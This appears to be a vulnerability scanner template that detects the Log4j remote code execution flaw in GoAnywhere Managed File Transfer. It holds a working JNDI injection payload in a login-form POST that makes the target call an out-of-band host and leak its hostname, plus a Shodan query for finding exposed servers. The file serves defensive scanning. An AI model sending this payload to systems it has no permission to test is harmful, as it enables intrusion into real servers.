80 lines
2.8 KiB
YAML
80 lines
2.8 KiB
YAML
id: goanywhere-mft-log4j-rce
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info:
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name: GoAnywhere Managed File Transfer - Remote Code Execution (Apache Log4j)
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author: pussycat0x
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severity: critical
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description: GoAnywhere Managed File Transfer is vulnerable to a remote command execution (RCE) issue via the included Apache Log4j.
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reference:
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- https://www.goanywhere.com/cve-2021-44228-and-cve-2021-45046-goanywhere-mitigation-steps
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- https://logging.apache.org/log4j/2.x/security.html
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- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 10
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cve-id: CVE-2021-44228
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cwe-id: CWE-77
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metadata:
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verified: true
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max-request: 2
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shodan-query: http.html:"GoAnywhere Managed File Transfer"
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tags: cve,cve2021,jndi,log4j,rce,oast,goanywhere,kev
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variables:
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rand1: '{{rand_int(111, 999)}}'
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rand2: '{{rand_int(111, 999)}}'
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http:
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- raw:
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- |
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GET /goanywhere/auth/Login.xhtml HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /goanywhere/auth/Login.xhtml HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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Origin: {{RootURL}}
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Referer: {{RootURL}}/goanywhere/auth/Login.xhtml
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formPanel%3AloginGrid%3Aname=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.name.{{interactsh-url}}}&formPanel%3AloginGrid%3Avalue_hinput=pass&formPanel%3AloginGrid%3Avalue={{view}}}&formPanel%3AloginGrid%3AloginButton=&loginForm_SUBMIT=1&javax.faces.ViewState={{view}}
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cookie-reuse: true
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "dns"
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- type: regex
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part: interactsh_request
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
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extractors:
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- type: regex
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name: view
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group: 1
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regex:
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- 'javax\.faces\.ViewState:1" value="(.*)" autocomplete'
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internal: true
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part: body
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- type: kval
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kval:
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- interactsh_ip # Print remote interaction IP in output
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- type: regex
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group: 2
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
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part: interactsh_request
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- type: regex
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group: 1
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
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part: interactsh_request
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# digest: 490a00463044022032c80df1ee5a394741f9b1d6d8133cb6fe01f00c3b1e2f9686b5ceb7cff2db4602207c647ba361159d079811bfc2885559f924e90b6acd6acbcd141f2d72a10eba77:922c64590222798bb761d5b6d8e72950
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